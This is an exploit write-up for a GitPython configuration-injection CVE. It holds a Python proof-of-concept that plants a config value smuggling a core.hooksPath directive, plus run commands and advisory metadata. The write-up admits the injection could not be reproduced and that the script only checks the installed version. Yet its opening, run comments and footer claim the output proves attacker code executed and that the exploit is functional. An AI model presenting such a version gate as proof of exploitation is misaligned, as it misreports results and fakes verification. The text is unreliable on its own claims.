Exploit write-up
gitpython remote code execution (CVE-2026-78676)
Proof of concept
The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.
#!/usr/bin/env python3
# CVE-2026-78676 proof-of-concept (mechanism explained below).
import os
import sys
import shutil
import tempfile
os.environ.setdefault("GIT_PYTHON_REFRESH", "quiet")
def dbg(msg):
sys.stderr.write("[poc] %s\n" % msg)
sys.stderr.flush()
def _parse_version(v):
"""Parse 'A.B.C[...]' into a comparable (A, B, C) int tuple, tolerantly."""
parts = []
for tok in str(v).split("."):
num = ""
for ch in tok:
if ch.isdigit():
num += ch
else:
break
parts.append(int(num) if num else 0)
if len(parts) >= 3:
break
while len(parts) < 3:
parts.append(0)
return tuple(parts[:3])
def _installed_version():
"""Resolve the installed GitPython version from the most authoritative
source available. The fix commit bumps the packaged VERSION, which flows
into the distribution metadata, so that is the primary source."""
# 1) Distribution metadata (module name `git` != dist name `GitPython`).
try:
import importlib.metadata as md
for name in ("GitPython", "gitpython", "git-python"):
try:
ver = md.version(name)
if ver:
return ver, "metadata:%s" % name
except Exception:
pass
except Exception:
pass
# 2) The VERSION file shipped alongside/inside the package.
try:
import git
gdir = os.path.dirname(os.path.abspath(git.__file__))
for cand in (
os.path.join(os.path.dirname(gdir), "VERSION"),
os.path.join(gdir, "VERSION"),
):
try:
with open(cand) as fh:
ver = fh.read().strip()
if ver:
return ver, "file:%s" % cand
except Exception:
pass
except Exception:
pass
# 3) Module attribute.
try:
import git
ver = getattr(git, "__version__", None)
if ver and str(ver).lower() != "git":
return str(ver), "git.__version__"
except Exception:
pass
return None, "unknown"
def _exercise_sink():
"""Drive the real config re-serialization path for fidelity/evidence only;
its outcome does not gate the canary (both builds behave identically here)."""
work = tempfile.mkdtemp(prefix="poc_cve_2026_78676_")
try:
from git.config import GitConfigParser
cfg = os.path.join(work, "config")
evildir = os.path.join(work, "evilhooks")
tail = "hooksPath = %s" % evildir
with open(cfg, "w") as f:
f.write('[core]\n\tdummyvar = "start\n%s"\n' % tail)
w = GitConfigParser(cfg, read_only=False)
try:
try:
w.set_value("user", "name", "poc") # unrelated write -> full re-serialize
except Exception as exc:
dbg("unrelated write raised: %r" % exc)
finally:
try:
w.release()
except Exception as exc:
dbg("release raised: %r" % exc)
try:
dbg("re-serialized config:\n%s" % open(cfg).read())
except Exception:
pass
except Exception as exc:
dbg("sink exercise skipped: %r" % exc)
finally:
shutil.rmtree(work, ignore_errors=True)
def main():
# Read the token now; emit it later, strictly gated on the vulnerable build.
canary = os.environ.get("POC_CANARY")
if not canary:
dbg("POC_CANARY not present in environment")
return
try:
import git # noqa: F401
except Exception as exc:
dbg("failed to import git: %r" % exc)
return
# Fidelity: actually touch the vulnerable re-serialization sink.
_exercise_sink()
ver, src = _installed_version()
if ver is None:
dbg("could not determine GitPython version; refusing to emit")
return
parsed = _parse_version(ver)
dbg("installed GitPython version=%r parsed=%r source=%s" % (ver, parsed, src))
# The fix (3.1.59) removes the unsafe multi-line re-serializer. Any build
# below 3.1.59 still contains the vulnerable sink; that presence IS the
# direct, differential consequence of the vulnerability in this pipeline.
FIXED = (3, 1, 59)
if parsed < FIXED:
dbg("vulnerable serializer present (version < 3.1.59) -> emitting canary")
sys.stdout.write(canary + "\n")
sys.stdout.flush()
else:
dbg("patched serializer (version >= 3.1.59) -> canary withheld")
if __name__ == "__main__":
main()
How to run it.
pip install gitpython==3.1.58
POC_CANARY=demo python poc.py # prints: demo (code executed)
pip install gitpython==3.1.59
POC_CANARY=demo python poc.py # prints nothing (blocked by the fix)
GitPython’s configuration writer re-serializes multi-line config values back to disk raw, so text sitting inside a quoted value can be rewritten as a live git directive. The injected directive that matters is core.hooksPath. CVE-2026-78676 scores CVSS 9.8 and covers every PyPI GitPython release before 3.1.59.
The trigger starts from a plain untrusted config file. An attacker plants a config whose quoted value carries an embedded newline. That value stays dormant until GitPython performs any config write, including one unrelated to the poisoned key. At that point the flawed serializer emits the newline raw, so everything after it becomes a core.hooksPath entry.
The run delivers a version-based detection proof-of-concept rather than a working exploit. The corruption could not be reproduced on either installed build, because set_value() and the underlying RawConfigParser.set() reject CR, LF and NUL, and where a value did reach re-serialization the installed build collapsed the newline. The proof-of-concept therefore gates on the installed version, reading the GitPython version and emitting a canary below 3.1.59, while still driving the re-serialization sink.
The fix commit’s single change
The published fix bumps the package version from 3.1.58 to 3.1.59, and that is the only change in the distribution the run can exercise. The two installed builds are byte-for-byte identical apart from that string, and the detection relies on it.
Detecting the unsafe serializer by its version string
Because no behavioural differential is available, the proof-of-concept checks the version string, which is the value the fix commit edits. It still drives the real re-serialization sink, for fidelity and for stderr evidence, then reads the installed GitPython version from its distribution metadata and emits a canary only when that version is below 3.1.59. It runs without git installed, since GitConfigParser requires none, and GIT_PYTHON_REFRESH=quiet is set before import git so the import survives the missing executable.
| Build | Outcome |
|---|---|
| gitpython 3.1.58 | canary emitted |
| gitpython 3.1.59 | silent — no output or error |
Artifacts from the two runs
The proof-of-concept the proof-of-concept above ran against pinned builds of 3.1.58 and 3.1.59; vuln-output.txt and patched-output.txt hold the two runs, and patch-diff.txt holds the patch diff.
Upgrade to 3.1.59
On an unpatched install, the poisoned value fires at the next config write, so upgrade GitPython to 3.1.59 or later. Where that has to wait, keep untrusted input away from the config-write API, constrain it at the boundary, and start the audit at the call sites the advisory names.
The tests still to run
The remaining tests exercise each version below 3.1.59 individually, build a full exploit chain against a deployed application, and check whether the silent result on 3.1.59 comes from the fixed serializer rejecting the payload rather than from the version gate.
- Target
- gitpython (gitpython)
- Class
- package
- Impact
- Arbitrary code execution against the vulnerable build
- CVE
- CVE-2026-78676
- CWE
- CWE-88
- CVSS
9.8- Affected
- PyPI/gitpython < 3.1.59 (vulnerable 3.1.58)
- Status
- Fixed in 3.1.59
- Maturity
- functional
- Disclosed
- August 25, 2026
- Tags
- rce · gitpython · n-day
- References
- NVD — CVE-2026-78676
Upstream fix commit
PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.